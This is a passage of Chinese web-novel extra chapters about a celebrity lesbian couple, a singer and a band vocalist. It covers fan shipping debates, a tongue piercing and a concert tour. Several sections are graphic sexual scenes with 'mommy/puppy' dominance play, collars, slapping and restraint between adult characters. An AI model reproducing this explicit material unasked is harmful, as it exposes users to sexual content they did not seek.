察觉到对方的视线停留,许风扰一点没犹豫,拽着对方的手就往那儿放,颇为大方的道:“姐姐,摸摸。” 估摸着自己已经这样了,柳听颂再凶也只能到这种地步,索性再卖点乖,让柳听颂彻底原谅她。 可她却小看了柳听颂的恼怒,如今的全部行为都被当做忤逆,还在顺着杆子往上讨好。 “姐姐我错了,姐姐。” “柳听颂……” 那边手一拽,许风扰就被扯着跌倒向她,撞在她大腿间,不等反应,那松开还没有多久的手又扣住她下颌,被迫起仰头抬高。 许风扰终于意识到不妙,语气更虚,还要坚持道:“柳听颂……” “换,”那人冷声开口,继而又补充:“我不喜欢这个称呼。” 许风扰没想到她会在意这个,口风一转就喊:“姐姐?” 柳听颂不为所动。 许风扰当然看得懂,立马就换道:“女朋友?” 柳听颂不语。 这几个都是常叫的称谓,许风扰想不通,为什么现在就不管用了,思来想去,结结巴巴憋出一个:“宝、宝宝。” 柳听颂皮笑肉不笑地睨着她,好像在说这东西也是你能叫的 许风扰一下子困惑住,而脑袋上的狼耳柔软,不知何时就往下塌,看起来还挺可怜的。 “宝贝” “乖乖” “媳妇” 许风扰恨不得将自己的词彙都丢出,却始终找不到通关密码,甚至因为答题太多,被柳听颂扯着链子又一拽,表示惩罚。 她张了张嘴,又看向柳听颂面容,那人以居高临下的姿态俯视,眼眸幽深隐绰,眼尾淡薄,像是一下子回到了五年前。 许风扰喉口一堵,字词就往外蹦出:“妈、妈妈……” “乖狗,”那人终于笑了下,拍了拍她的侧脸,如同奖励。 黑发下的耳朵已经红透,连许风扰自个都不知道为什么会冒出这样的话,好像是前两天逛V博,总有人在柳听颂的照片下这样喊 她不由多看了几眼,以至于现在…… 可喊都喊出来了,就算许风扰再羞窘也没有用,低声再一次道:“妈妈、妈。” 依旧结结巴巴的,声音发着颤,颈间的皮环也跟着晃,发出丁零当啷的清脆响声。 回应她的是抚摸过脸颊的掌心,不自觉地蹭,响声更大。 “妈妈……”她又喊,不断讨好,跪得发酸的膝盖也往前挪,越发贴近。 柳听颂拽着链子一扯,那人就仰头,覆着一层水雾的碧色眼眸懵懂又青涩,只倒映着柳听颂面容。 年长那位不说话,只是一味地扯。 脊背越发挺直,仰起的下颌线条明晰,十分努力才触碰到对方的唇。 “妈妈,”许风扰又喊,视线下移,落在对方微开的唇间,如同在讨肉的狗。 “许风扰,”她突然开口。 “嗯”许风扰有点茫然。 “你是狗还是狼”她似笑非笑地问,笑意不及眼底,有些压迫感。 那狼耳还挂着,可许风扰却心虚地抿了抿唇,说:“你喜欢什么?” 这是个没有正面回答的讨巧答案。 柳听颂没有让她得逞,只斥道:“狗东西。” 许风扰终于贴到她的唇,尝到甜头后,什么脸皮都不在,声音一哑就道:“妈妈的狗东西。” 柳听颂笑了下,没说满不满意,只是微微低头,要许风扰吃得更多。 双唇相贴,日日夜夜磨合出的默契,叫她完全知晓如何取悦柳听颂,即便此刻姿势变扭。 膝盖还在往前,腿已紧紧贴在床边,无法跟进一步,此刻两人的姿势变扭,半躺在床的人不知何时起身,坐在许风扰身前,却微微后仰,故意将两人之间高度拉长,而另一位跪在地上,身高没了作用,无论怎么努力,都只能勉强碰到对方的唇,只要对方一躲就可以逃开。 她不免心急,抬手想要勾住柳听颂脖颈,却被这人退后躲开。 ——啪! 巴掌落在脸颊,很快就泛起红痕,连带那些被掐出后,还未消下去的红印斑驳交错。 “狗东西,”柳听颂呵斥了句。 许风扰明显停顿了下,刚刚抬起的手又往下落,自己铐住自己,视线依旧停在对方的唇间,开过荤的狗哪裏甘心浅淡的触碰,见柳听颂还不肯贴近,小声就喊:“妈妈。” “妈妈、求你了。” “妈妈……” 许是感受到柳听颂的不一样,许风扰的那点侥幸也消失不见,露出慌乱表情。 “小狗不是故意的,妈妈。” “小狗错了。” “求你了妈妈、唔。” 链子被拉扯,人就被迫靠近,又贴在红唇上,许风扰有些急切,慌忙吻住,留下莹莹水迹,像是怕柳听颂不再给一样。 “妈妈、妈妈,”她边吻边喊,期间还抬起眼帘,小心打量着柳听颂面色。 可那人却不像以往投入,晦涩眼眸想在思索,甚至嫌许风扰太粘人,影响到自己,虎口扣住脖颈就往外推。 她说:“尾巴。” 终于想起来缺什么,小狗怎么能没有尾巴。 许风扰被吊在半空,哪裏会想得起反抗,只是刚刚拉开的柜子没有,她又扯开下一层,慌慌张张就将那个灰黑的狼尾巴拽出,系在腰间,继而将尾巴也一起塞进柳听颂手中。 “妈妈……”她急不可耐就贴上去。 柳听颂终于露出一丝满意神色,比之前更大方地低了低头。 唇齿被撬开,急促的呼吸交替,还能尝到一点薄荷清凉,强压住了咖啡的苦涩,可以想象,许风扰扯着借口出门,又停留在不远处咖啡厅的模样。 柳听颂眼帘扇动。 许风扰还未察觉不对,早已惯坏的狗,彻底丧失了之前的警惕,只顾着这一点甜头。 可即便是这点甜头,也是随时可以收回,完全由柳听颂支配的。 链子往下扯,许风扰就跟随往下,触碰在对方下颌、喉管、锁骨。 舌尖灵巧解开扣子,再用脸颊蹭开,已经吃过教训的小狗没有再犯错误,叫柳听颂连罚她的理由都没有,可是…… 为什么需要理由呢? ——啪! 巴掌又一次落下,刚刚消退的红印又浓重,许风扰偏头蹭着柳听颂掌心,一声声地喊:“妈妈、妈妈。” 被松开的尾巴在摇,铃铛也跟着响。 柳听颂抬脚踹她腰腹,又被许风扰扣住脚踝,小心捧住。 乖巧的小狗可以得到奖励。 链子拉扯,薄唇在夹抿间,触碰到过分柔软的圆弧。 因综艺的缘故,许风扰这几天已收敛不少,那些失控时留下斑驳印记淡去,只余下一两个浅而小、可以被衣服完全遮挡的痕迹。 许风扰不喜欢自己身上留痕,却很喜欢在柳听颂身上留下标记,像小狗在标记地盘…… 哦不对,现在是小狼呢。 柳听颂仰了仰下颌,仍由对方舔舐着,敞开的衣衫越发往外,露出更多细腻肌理。 舌尖勾起,舔弄间牙尖偶尔触碰,来不及解释就会被链子一扯,于是她只能更仔细小心。 细碎的吻不断,最后被压着脑袋往下按。 布料落在地上,脚踩到许风扰肩膀,链子终于松开些,给予更大的活动范围,可许风扰不曾理会,一直埋着头。 水声不断,与清脆铃声一并响着,其间还夹杂着含糊的声音,一声声喊着妈妈,像在感谢她的喂养,也迫切得到更多。 狼耳歪了些,脸颊、唇边都是水,连发丝都被柳听颂揉乱,在承受的明明是柳听颂,被蹂///躏得狼狈的却是许风扰。 “妈妈、妈妈。” “乖狗,”柳听颂含糊应了句,止不住的喘息,眼眸虚晃、没了焦点。 那人还在喊着,滚烫吐息落下,将过分敏感处包裹。 柳听颂扯住她发丝,像要将她往裏扯,可踩在肩膀的足却往外踹,试图将她踢开,在这样的来回拉扯中,许风扰越发低头,时常挺直如青竹的脊背都弯下。 喘息更甚,链子被扯得更紧,绷成一条笔直的线。 膝盖无法再往前,腿紧紧贴着床沿,压出凹坑。 许风扰越发卖力,不断的吞咽中,往日不大清晰的喉结都明显,上上下下滑动。 鼻尖在急切中触碰到其他,柳听颂突然僵硬,双腿夹住许风扰脑袋。 十分熟悉她的许风扰自然知道她要到了,不管不顾要继续靠近,却被一脚蹬开。 猝不及防的人一下子跌进地毯,湿漉漉的眉眼,连脸颊都被闷得红透,茫然又无措地看向对方,呢喃着喊道:“妈妈……” 可柳听颂却起身,连余光都不曾给予一丝一毫,自顾自走向浴室,片刻后,水声响起。 ———————— 不听话的小狗就要被踹开[黄心] 第95章 番外三:宝宝,叫妈妈 自从官宣后,梨子再也不需要担忧她的CP超话,超话人数以一个极恐怖的速度攀升,每天一睁眼就能瞧见不少人在喊新人报道。 梨子看得又喜又愁,喜的是终于不需要担忧产出,一群人与她一起磕CP,愁的是大大小小的问题也一并出现,其中吵得最厉害就是柳听颂与许风扰到底谁是攻。 因正主没有明面回答的缘故,两方人争来争去,各有各的理由。 这不,梨子刚刚打开手机就瞧见一条新的,往评论一瞧,竟已有了七百多条评论。 她看得眼睛一抽,小心翼翼地看了眼旁边柳听颂,确定对方在忙后,才点开评论看。 【柳姐必须是攻!年上1不香吗,她的人生都由年上引领,教她为人处世,保护她不被伤害,从音乐到床间,小狗弹出的第一声音符,是姐姐手把手教出,第一次接吻是姐姐小心又克制地教导,直到确定小狗并不反感时,她才敢更进一步】 【再说一遍!年上1就是仙品!】 【说许风扰是攻的能不能看看直播,也不知道是谁被拽进化妆间,被亲的满嘴口红……】 【姐姐都快宠疯了,怎么还有人说许风扰是攻啊,看过那个采访没有柳听颂夸许风扰的时候,眼睛裏头的温柔都要溺出来了,每一句话都像在说我家小孩好棒,我家小孩超厉害,我家小孩辛苦了,大家一定要喜欢她哦】 【说年下1的都是乱磕,听颂啊,妈妈已经接受你的感情了,但是你可千万千万不能做零啊】 梨子嘴唇碾磨,竟有一瞬动摇,再抬眼看向柳听颂,而后又心虚低头继续。 而站许风扰的人明显更多,见支持柳听颂的人占了首评,便直接在那条评论下反驳。 【姐姐做1姐姐行吗你们不要为了那点Xp就随便乱磕好嘛,起码要讲点实际吧,看咱们小狗那手】 橙子视线一落,将这条评论的附图点开。 这是许风扰手握贝斯演出的照片,好像生怕旁人看不见,这人还特地截了下,重点放在许风扰指尖勾弦、手背青筋鼓起的画面上。 她还补充了句【这一看就有经常锻炼好嘛】 【年下狗1才是最香的!年少的觊觎,明知不可而为之的决心,最后把姐姐推在床间,一边委屈地喊着不会,一边手不见停】 【不是,到底是谁get不到白毛小狗1,前两期冷脸闹别扭,实际视线一直停留在老婆身上,谁靠近就被她瞪】 亲眼目睹的梨子忍不住嘿嘿一声,这个超话裏有谁比她吃的更好她自己都有点嫉妒自己了。 评论继续往下翻,梨子嘴角越来越往上,完全没有注意到有人在接近。 直到梨子又一抬头,整个人都蹦起,惊恐大喊:“我的妈啊!” 继而又结结巴巴道:“姐、姐你搞完了怎么、怎么突然站在这裏。” 柳听颂像是笑了下,只问:“你在看什么” 梨子心脏一紧,又在柳听颂无声凝视下,讪笑着交出手机。 几个小时后,夜幕降临时。 结束活动的柳听颂回到酒店,推开的房门发出一声响。 裏头一大一小就一起抬头看来。 是许风扰抱着猫坐在书桌前。 不等柳听颂喊人,三斤就先挣脱怀抱,一下子跳到地毯上,喵喵叫着向柳听颂跑来,而许风扰略微克制些,只是拍了拍身上的猫毛,看着对方。 柳听颂便向她走来,继而侧坐于许风扰大腿。 那跑来跑去的缅因也不生气,蹬蹬蹬又过来,用大脑袋不断蹭着柳听颂脚踝。 “好晚……”许风扰将人抱紧,习惯性低头埋进对方颈间,满是眷恋的声音闷闷。 “刚刚进门耽搁了下,”柳听颂温声解释,抬手揉了揉对方脑袋。 这两人黏糊,一听到柳听颂要到外地参加活动,许风扰抱着三斤追过来,就算天天等在酒店也不嫌闷。 “怎么耽搁了?”许风扰下意识顺着往下问,脑袋也跟着蹭。 曾经被多次漂洗的头发,即便经过长时间养护也粗糙得很,蹭来蹭去时尤其扎人,柳听颂不由轻拽住她发尾,柔声道:“怎么像小狗一样?” 听到这话,许风扰脑袋一抬,气鼓鼓就道:“你不喜欢就算。” 这还得了,柳听颂压着她后脑勺就往自己怀裏按,笑着哄道:“喜欢、喜欢。” “我最喜欢小狗了。” 腿边的大猫动作一停,三角耳朵也动了下,好像在侧耳倾听。 柳听颂却不曾察觉,忙着哄另一位,忽略了同样可怜巴巴的猫,一声声道:“怎么会不喜欢小狗?” 指尖抚过对方脖颈,掀起酥麻感受。 她声音更柔:“妈妈最喜欢小狗了。” 这熟悉的称谓让许风扰身体一僵,又想起那次惹柳听颂生气后的惩罚,不仅中途就被踢开,甚至最后还分了房睡,急得许风扰团团转,寻思着大半夜爬床,结果蹑手蹑脚走到门口,发现房门已被锁起。 气得这人第二天一晚上没睡,守在门口一整晚,大早上顶着个黑眼圈,双手递上她亲手写的一千字检讨。 思绪落到这裏,许风扰不由嘀咕了句:“坏妈妈。” 柳听颂顿时失笑,捏住对方耳垂,而后道:“我哪裏坏了?” 许风扰嫌她明知故问,也不敢提起之前的事情,生怕又被翻旧账,索性脑袋更低,咬在对方锁骨上。 “嗯”柳听颂闷哼了声,又低声着声音道:“别闹,上面还有遮瑕。” 许风扰爱闹腾,努力乖了几天后又忘记,在她脖间留下细碎几个印记,只能用其他法子遮盖。 “这儿没有,”许风扰哪裏肯起来,像是几天没喂过的狼崽子似的,粘人的很。 柳听颂只好纵着,依稀记得那几个痕迹的位置,每当许风扰要咬到就稍稍往后避开。 只是那人坏得很,柳听颂退让,她就愈发过分,气得柳听颂捏住她耳朵,小声斥道:“可以了。” 许风扰也不知闹什么脾气,咬是不咬了,又抱着人不肯撒手。 柳听颂只得哄她,眼神一偏,看向旁边桌面,而后又问:“宝宝刚刚在做什么?” 许风扰眼帘一抬,便道:“看你刚刚说的超话。” 方才柳听颂通过梨子得知CP超话的存在,稍看过几眼就告诉了许风扰,趁着入场间隙,两人便有一搭没一搭地聊着这个。 之前看许风扰没怎么回应,她还以为许风扰不在意,心想着许风扰或许已经习惯,毕竟她队内的CP超话就有好几个,没想到这人只是太专注,从之前一直看到现在。 柳听颂捏了捏她耳朵,当真把许风扰当小狗玩,摸了脑袋又捏耳朵,等会不知又要抓哪裏。 许风扰还没有来得及反抗,那人就先开口:“看什么呢?能看那么久的。” 这话一出,许风扰明显僵了下,眼神游离又挪回,强装着镇定道:“没、没什么。” 和刚刚梨子偷看手机一样的心虚。 柳听颂眉梢一挑,顿时就生出兴趣,刚兴起的超话哪有那么多物料,不多时就刷到底,不明白许风扰怎么能看那么久。 “你要去洗澡了吗?” 竟让这个粘人家伙开始心虚赶人。 柳听颂思绪一转,便道:“你刚刚不是问我有什么事耽搁了吗?” “嗯?”许风扰正愁没有话题可转移,当即就回应。 “刚刚有粉丝在酒店门口等着……” 话还没有说完,许风扰就先入套,急切道:“人多不多,你没事吧?” 还以为发生了什么。 “没吧……”柳听颂低头,对着许风扰眨了眨眼。 那人就更疑惑了,好端端打什么哑谜,当即就追问。 柳听颂也不回她,眼神一瞥看向手机,只道:“你自己看?” 许风扰越发好奇,柳听颂可很少像现在这样,拐着弯的回应,不断勾着许风扰继续。 她伸手抓住手机,屏幕瞬间亮起,紧接着就有白底黑字的画面浮现,早早准备的柳听颂扫过几眼,下一秒就被惊慌的许风扰遮住屏幕。 “这个你不准看!”她说。 柳听颂就笑了下,看着她强撑镇定,眼神又飘来飘去。 许风扰瞪了她一眼,手机倾斜着偷偷点了保存,而后才划拉往上,不多时就瞧见柳听颂所说的视频,一经发出就被顶到最前面,弹幕多得吓人。 许风扰拧着眉头点开,紧接着就被嘈杂声淹没,尤其当最后一句话落下,许风扰面色更加不悦,竟直接说:“你为什么不直接回答?” “你想要我直接回答”一直耐心等待的柳听颂似笑非笑。 许风扰还没理解,下意识就回:“为什么不正面回答。” 那人突然笑起来,眼睛一弯就道:“可是……” 她话音一转,将之前瞧见的文字念出:“柳听颂将人压在角落裏,炙热的呼吸落在许风扰脸颊,扣紧脖颈的手收紧,一声声念着宝宝,叫妈妈。” 她看着许风扰笑,那过分柔妩的面容撩人,咬着字句就道:“宝宝,叫妈妈好不好?” 许风扰浑身僵住,脸一下子红透,竟说不出旁的话来,只想找个地方往下钻,可柳听颂却坐在她的腿上,压着她、不准逃避。 是了,许风扰鬼鬼祟祟看了下一午的东西,就是两人的CP文,还是略带禁忌的母女,全篇六千字,就几百字的对话,剩下都是车。 “别闹,”许风扰强撑着,脸颊却红得彻底。 明明是两个人的文,可不知道为什么,觉得窘迫的就她一个。 她急忙转移话题,咬牙就道:“你干嘛不正面回答。” 那人眉眼戏谑,只道:“我要正面回答,你还能看见这种文?” 没错,在句落最后,柳听颂的指尖还在许风扰的身体裏试探,逼迫着她喊出那个称呼,可许风扰却逃避…… “不过那个文写得不对,宝宝哪裏会那么不乖,明明叫得很快。” 她的调侃一句接一句,叫许风扰反驳不得,少有的窘迫。 “宝宝,叫妈妈,”她拖长语调,眼波流转间,更是妩媚。 因姿势的缘故,她腿脚离地,高跟鞋便擦过许风扰小腿,有意无意勾起裤腿。 “宝宝、叫妈妈,”她又重复,两人间距离被缩短,双唇保持着若即若离的距离。 直到此刻,许风扰才嗅到一丝若有若无的酒香。 她眉头一皱,当即就问:“你喝酒了?” “一点点……”那人还在笑。 想来是活动后喝了几杯,也终于明了今儿的柳听颂怎么会那么大胆,逗了粉丝还不够,又来逗她。 “我去给你点醒酒汤,”许风扰声音微沉。 “不要、不醉……”她哼哼两声,倾身吻在许风扰眉心,又含糊道:“宝宝,不要皱眉。” “宝宝,叫妈妈,”她又来了。 许风扰又气又好笑,还没有来得及说话,这人的吻就往下,吻在她眼帘、脸颊、鼻尖、薄唇。 “宝宝喜欢叫妈妈……我知道……” 唇齿被撬开,否定的话语被堵住。 “柳听颂、”那人努力挤出一句。 有人摇头不许:“不是,是妈妈,宝宝要叫妈妈。” 细碎的吻不断落下,不知何时呼吸已乱,本就被那些CP文撩拨起的火,在柳听颂的逗弄下彻底点燃。 衣裙被揉乱,近在咫尺的女人晕花了妆,依旧美得别致,眼眸水润充盈,唇瓣比糖浆更甜蜜饱满,开合间的声音喘息:“宝宝,叫妈妈好不好?” “叫一声、”过分柔和的声音将人拽如温水中,不断往下坠。 许风扰终于如她所愿,语气裏却隐隐带着警告:“妈妈,你可别后悔。” 椅子发出咿呀响声,方才作乱的腿脚被迫分开,裙摆被拉扯往上,那如日暮的光晕也彻底破碎。 柳听颂仰起头,靠在许风扰坏中,纤细的脖颈越显薄弱,喉管的颤动清晰可见,可她无力再做其他,往后乱抓的手,只能抚过许风扰后脑,将发丝揉散揉乱,一声声的呢喃:“宝宝、宝宝。” “宝宝……” 衣裙被拉扯,露出圆润肩头与平直锁骨。 在水声中,绷紧的腰腹起伏,那件价格昂贵的礼裙晕出湿痕,只听见啪的一声,高跟鞋落地,腿脚如藤蔓缠绕上另一人小腿。 “宝宝、宝宝,”她还在一声声地喊,无力又带着渴求。 这一次许风扰没有假装听不见,偏头咬住对方耳垂,哑着声音回应:“妈妈,你下雨了。” “你就那么喜欢这样吗?妈妈。” “别乱动。” 抽出的手还湿漉漉的,却往旁边腿间一扇,响起一声清脆的巴掌声,细腻皮肤瞬间泛起红,那人却没有一点怜惜,反倒呵斥道:“妈妈,别夹。” 柳听颂的眼眶都红透,那水雾要掉不掉的,坠在眼尾间,还在重复:“宝宝、宝宝进来。” “难受、宝宝。” “宝宝,妈妈难受。” 她求饶着:“我错了、我错了。” 许风扰却没有心软,手机屏幕亮起,塞进柳听颂手中,彻底炸毛的小狗咬着牙就道:“不是喜欢念吗?” “念一下,我们动一下好吗?” “妈妈……” 风吹起未合上的窗帘,此刻的夜色正好,隐隐约约的水声与念书声掺在一块,最后化作带着哭腔的破碎求饶声。 而V博中,许风扰之前看过的那一段柳听颂回到酒店的视频,已被疯狂转发。 看视频裏的周围环境,应是粉丝蹲守在酒店门口,等着柳听颂下班回来。 于是,视频先是传出一阵阵呼声,从人挤人缝隙中,柳听颂走出漆黑保姆车,助理与保镖都一边劝着,一边拦住不断往裏挤的粉丝,众人兴奋地喊着什么,柳听颂偶尔停下回应,伸手接过信件。 就在这样氛围裏,突然有人冒出一句:“听颂姐!你和阿风谁是攻?” 这过分大胆的话语,让周围一静,连如机关枪般的闪光灯都停下,只剩下僵在原处的摄像头,还在任劳任怨的拍摄着。 在这种死寂的氛围裏,那突兀提问的人都缩了缩脖子,唯一能她共情的梨子脚趾扣地,回想几个小时前的尴尬感受。 正当大家都以为柳听颂不会理会时,她却停住脚步,看向那个人。 像是没有听清,她还特地问了一遍:“你刚刚在问什么” 闪光灯响了两下,落在女人墨绿长裙上,昂贵绸缎泛起如河面日暮般的光晕,纤长脖颈间的宝石项链耀眼,在精致妆容的描绘下,原本清冷淡漠的眉眼平添几分柔妩,在专注看着一个方向时,越发蛊人。 刚刚还勇敢至极的人,现在却冒出一脑门汗,口水咽了又咽,愣是说不出一句话。 柳听颂并不着急,只静静等待着。 周围的声音终于小声响起,同担用手肘推她,压低声音道:“你快问啊、你快问啊。” 那人涨红着脸,终于结结巴巴地张口:“我、我想问你和阿风,谁、谁是攻……” 压低的惊呼声又一次响起,即便已经听过一次,但还是为这种舞到正主面前的行为感到震惊。 被捏在手中的手机颤抖,她甚至慌张解释:“你们两的CP超话一直在吵这个事,我们一直很好奇、如果你不方便、不方便回答的话就算了。” 旁边的同担恨不得给她一脚,都问出口了,怎么还可以退缩。 柳听颂却笑起,眉眼舒展间,浓妆下的容貌瑰丽,恰如一株灼灼绽放的苏格兰绿玫瑰。 在人影交错、闪光灯再一次铺天盖地亮起时,她的回答也一并落下。 她说:“你觉得呢” 就是这样含糊的回答,让十几分钟后的柳听颂吃尽了苦头,不过很快,粉丝们的注意力就被另一件事所吸引。 再晚些时候,粉丝惊奇地发现许风扰用大号点赞了一个尺度颇大的同人车文…… 还是许风扰做零的那一篇。 一前一后,一个视频一个点赞,彻底将听风超话引爆,甚至都挤入热搜榜中,被人花了钱才压下了,不过对于坚信许风扰是1的CP粉,第一次对自己的判断产生剧烈的动摇。 难道…… 许风扰真的是受 ———————— 除夕快乐!发红包哟! [墨镜]终于写完了,好感动 第96章 番外四:舌钉 许风扰的第一颗舌钉是柳听颂带着去打的。 也算是临时起意,只是在一个极平凡的午后,胡闹的缅因翻出了丢在柜子裏的钥匙,落在地上发出一声脆响,将躺在地毯发愣的人吸引。 往事翻涌而来,如屋外秋叶一般淅沥沥的落下。 不知怎么的,许风扰突然冒出一句:“姐姐,我们去打个孔吧。” 她甚至连打在哪裏都没有想好,就这样突兀的冒出一句,往事还没有彻底愈合,或许一辈子都会留在那儿,但有柳听颂在,她总会慢慢走过去,即便慢一些。 起码她此刻已经很少关心身上有没有痣,也不会特别在意旁人皮肤上的突兀,更…… 那次车祸后,即便用了许多手段,但柳听颂身上仍留下了一道浅浅疤痕,就是许风扰与楚澄站在室外,听着柳听颂忍痛缝合的那一道,就在左边侧腰处,其实已经极难看清,除非用手抚摸。 刚开始柳听颂其实很介意许风扰的触碰,知她心结,总有意避开,可许风扰却一次次执意吻过,或怜惜或后悔或颤抖或炙热如烙铁,她的疤痕变作了她的小小Xp,或许也是因此,才叫她冒出今天这句话。 彼时,柳听颂正半躺在沙发裏看书,不懂这人怎么老喜欢躺地上,却没有一次次纠正,只是定制了好些足够柔软的地毯,定期就清洗更换。 听到许风扰这样说,她只将书页翻过,继而点了点头就道:“等会出门?” “我先问问小野,她打了好几个。” 话音刚落,许风扰就翻了个身,一手抓住还在作乱的三斤,另一只手将钥匙捡起,往裏一丢就合上,紧接着再捞过手机,边抱着猫边单手打字。 也是因此,她不曾瞧见柳听颂偏头瞧过来的画面,如温润玉石般眼眸写满沉甸甸的复杂情绪,不知看了多久,而后才慢慢挪开,轻轻松了口气。 纸页被轻轻掀回上一页,可之前还能看进去的字句,如今却只是一行行白底黑字,完全无法辨认出其中含义。 那边的人还浑然不知,预约成功之后就爬起,兴冲冲带着柳听颂往外跑。 途中是柳听颂开车,许风扰就坐在副驾驶,翻来覆去的翻视频、图片,琢磨着打哪裏。 可能是第一次打、或者也抱着最后一次的心态的缘故,许风扰总想打在不同寻常的位置。 耳骨、眉钉、唇钉、甚至连锁骨肚脐都想过一遍,最好笑的是她还摸下巴冒出一句:“乳///钉。” 吓得柳听颂方向盘一歪,差点撞向旁边花臺。 许风扰这才稍稍克制了下她天马行空的想法。 最后,两人是在地下停车场中决定的。 舌钉。 这很符合许风扰想要偏门一点,并会付出比较疼痛的代价,尤其是在得知这会让她一个月不能唱歌,因为肿起来的异物感会导致大舌头,影响音准后,许风扰当即就拍板决定下来。 打就是要打个最狠的。 许风扰抱着这样的决心,毅然决然地踏入工作室内。 然后,她就紧紧抱住柳听颂的腰,愣是没敢松开手,而那眼睛更是,闭得都挤出一条条细纹了,伸出来的舌头都是抖的。 那工作室的人也都认识许风扰、柳听颂,虽然没有靠近围成一团,但也站在不远处,看着许风扰闷闷发笑。 而身边的打孔师也在忍笑,努力宽慰道:“一下子就结束了,你别太紧张。” 许风扰没说话,舌头都被夹住了,想说什么都说不了。 倒是柳听颂看着心疼,手一次又一次抚过许风扰脑袋,温声哄道:“不怕,没事的。” “很快的,好不好?” 许风扰不知听没听进去,只是一味地抱紧对方。 柳听颂松开手往下落,捏着怀裏人的耳垂,声音柔了又柔,竟先劝道:“要不我们先打个耳洞试一试?” 那打孔师站在旁边,看看这个又看看那个,笑意中闪过一丝艳羡。 两人官宣的事情在网上闹得沸沸扬扬的,大家时常上网,自然也瞧见不少不好言论。 那些恶劣至极的揣测,甚至连无关紧要的人都看得皱眉,即便知道编造的可能性更大,也不禁生出一丝厌恶。 可如今现场瞧见,便觉得她们只是一对普普通通的情侣,年长那位哄着,眼裏的疼惜不加掩饰,年纪小的那位在外头装模作样的冷脸,实际却粘人得紧,明明说不出什么话来,听到柳听颂声音后,还是呜呜的回应,无法理解那些人为什么会有那么多的恶意。 打孔师想了想,没第一时间开口。 就这样拖延了几分钟,那打孔师一咬牙,针起针落,再将细针穿入孔中,将圆球拧紧后,前后不过十分钟,紧接着就说了一声:“好了。” 许风扰就是紧张过头,打完后反而觉得还好,稍稍松开抱紧柳听颂的双臂,试探着碰了下舌头上的钉子。 还好,是可以忍受的疼。 柳听颂一直低头看她,直到瞧见她露出轻松表情,才缓缓松了口气,而后又察觉到自己的掌心中全是汗,不由怔愣了下。 而另一位呢,甚至已经完全接受,乐颠颠拍了张照片,往燃陨乐队的群裏发。 而这事在经过许风扰、柳听颂同意后,被打孔师写成小作文放到工作室的宣传号中,不一会就被粉丝发现,既点赞评论又转发,还被营销号做成视频。 许风扰偶然刷到,这才知晓自己在打孔师眼裏是什么形象。 那用词,一下子可怜兮兮,一下呜咽着撒娇,看得许风扰眼皮直跳,多年经营出的叛逆形象全无,而许风扰是躺0的传言越演越烈,甚至变成板上钉钉的事实,就连燃陨三人都知晓,拉着她笑了好久。 可许风扰想了想,又懒得争辩解释,没必要,反驳了还显得自己心虚,谁1谁0,她们两人最清楚,没必要把这种东西摆到明面理论。 而且这事相对于连喝几天白粥来说,实在是小事。 许风扰这个当事人还没多在意,打完后就想约橙子她们去吃东西,顺带炫耀一下,结果却被柳听颂揪着耳朵抓回家,天天白粥清淡小菜。 也不是不好吃,毕竟许风扰平常的饮食就很清淡,可连吃一个多星期还是让人受不了,总觉得嘴裏淡得很,连平常不怎么爱吃的甜食都能尝出一点特别滋味,最后愣是偷偷摸摸找到楚澄,让她买了几串烤串在楼下等着。 而许风扰借着买东西的理由,悄悄下楼。 本以为天衣无缝,可许风扰拿着烤串一转身,便瞧见柳听颂似笑非笑站在不远处。 早早就察觉到她的小心思。 许风扰刚一出门,那人就跟着过来了。 吓得许风扰把烤串一丢,从小没有人管的家伙,愣是感受到了一把小学生偷吃辣条后,被大人抓到的心虚。 不过后面看许风扰恢复极好,完全没有发炎的趋势,柳听颂也不再特别严格的要求。 而再过两月,燃陨乐队自成立工作室后就一直在商讨、宣传的全国巡演终于开始。 这几人很是重视,还在V博搞了个投票,问粉丝最期待听到那首歌,最希望她们做什么造型,其中就有一个选项是希望许风扰再染白发,点赞极高,而这人也不扭捏,当天就去漂了头发。 之后,燃陨乐队忙着四处巡演,柳听颂也开始筹备新专辑,去年回国后便一直围着许风扰转,除了那首合作曲外,就只有几个综艺舞臺,早有不少粉丝生出不满,在V博底下各种催促。 如此下来,两人聚少离多,就连婚期都一推再推,外头不免有传言,如同圈裏每一对情侣久久没有互动就会被唱衰,被造谣已经分手一样。 许风扰与柳听颂都没理会,实在没空搭理,每次排练结束就直接往酒店跑,视频一开就是几个小时,恨不得洗澡都摆在旁边,哪有时间关心什么谣言。 等到两人再见面时,已过去一段好长时间,是柳听颂那边先结束工作,主动飞到许风扰演出的地方。 柳听颂来得急,连飞机票都是临时买的,许风扰实在安排不出时间接人,便叫新招的经纪人将她带回酒店。 那人会来事,主动问了柳听颂,要不要看看这几场巡演的录屏。 巡演未开直播,如今网上只有模糊的饭拍,甚至因限制录像的缘故,许多内容都没拍到,只有工作室这边留下影像,等着修复整理后,才会慢慢放出。 既然是对方先开口,柳听颂当然要点头同意。 不多时,就有音乐声响起。 等许风扰忙完赶回,已经是夜晚时候,那人瞧见柳听颂看了视频,不免得意,眉眼一抬就道:“怎么样?” 像个讨要夸奖小狗。 可一贯惯着她的柳听颂,只说了句:“过来。” 那声音冒着寒气,面色更沉。 许风扰还以为自己又做错啥事,腿一软,差点就原地跪下,连忙三步并两步走到柳听颂面前,还是没出息的啪一下跪地。 “怎么了怎么了?”她开始着急询问。 心裏惦记着人,以至于她还没来得及卸妆、换衣服,一结束就匆匆忙忙往这边赶,于是还与舞臺上一样,是那位闪亮又耀眼的乐队主唱,可动作却卑微,跪下后就没能站起来。 可惜这样的做法,却没有让柳听颂缓和一点。 惹得许风扰脑子疯狂运转,就连是不是刚刚开门太用力的理由都冒出来,却依旧不对。 而柳听颂呢,显然被气得更厉害了,不知从哪裏翻出一条领带,往地上一丢,便道:“捆上。” 那家伙不明所以,但却很乖,老老实实把领带一捡,自己给自己的双手捆住,再仰头,眼巴巴看向柳听颂。 现在倒是听话。 柳听颂越想越气,手一勾,拽住她领带,脚踩她大腿。 哪怕柳听颂刻意用力,许风扰也不觉得疼,还在那边茫然眨眼,可怜巴巴地询问:“怎么了、怎么了姐姐。” 当真是迷糊了。 “狗东西,”柳听颂冷声斥道。 许风扰就用脑袋蹭她,脸颊贴在大腿,她肤色还是那样,被晒狠了,完全变成小麦色,前段时间跟着柳听颂时,还稍微白回去了些,可这段时候忙着巡演,晒来晒去又黑了回去,尤其是在白发的衬托下,便显得更黑了。 不过幸好,她五官立体,轮廓深邃,一双碧色眼眸最是漂亮,如此,不仅不影响容貌分毫,反倒多了一丝娱乐圈中少有的野性,分外吸引人。 